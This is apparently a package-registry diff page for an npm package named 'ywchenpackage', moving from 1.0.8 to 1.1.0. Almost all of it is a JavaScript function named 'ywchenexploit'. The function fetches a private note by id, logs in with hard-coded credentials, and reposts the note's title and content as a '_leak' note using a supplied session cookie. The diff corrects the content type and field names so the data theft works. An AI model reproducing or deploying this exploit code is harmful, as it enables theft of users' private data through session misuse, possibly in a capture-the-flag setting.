ywchenpackage 1.0.8 → 1.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +3 -3
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
function ywchenexploit(cookie) {
|
|
2
|
-
let stolenurl = "/api/notes
|
|
2
|
+
let stolenurl = "/api/notes?id=a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d";
|
|
3
3
|
let c2path = "/api/notes";
|
|
4
4
|
let stolen;
|
|
5
5
|
fetch(stolenurl)
|
|
@@ -17,7 +17,7 @@ function ywchenexploit(cookie) {
|
|
|
17
17
|
"/login", {
|
|
18
18
|
method: "POST",
|
|
19
19
|
headers: {
|
|
20
|
-
"content-type": "application/
|
|
20
|
+
"content-type": "application/x-www-form-urlencoded"
|
|
21
21
|
},
|
|
22
22
|
body: "username=ywchen&password=ywchen"
|
|
23
23
|
}).then(
|
|
@@ -29,7 +29,7 @@ function ywchenexploit(cookie) {
|
|
|
29
29
|
"content-type": "application/json",
|
|
30
30
|
"cookie": "session="+cookie
|
|
31
31
|
},
|
|
32
|
-
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.
|
|
32
|
+
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.content})
|
|
33
33
|
}
|
|
34
34
|
);
|
|
35
35
|
});
|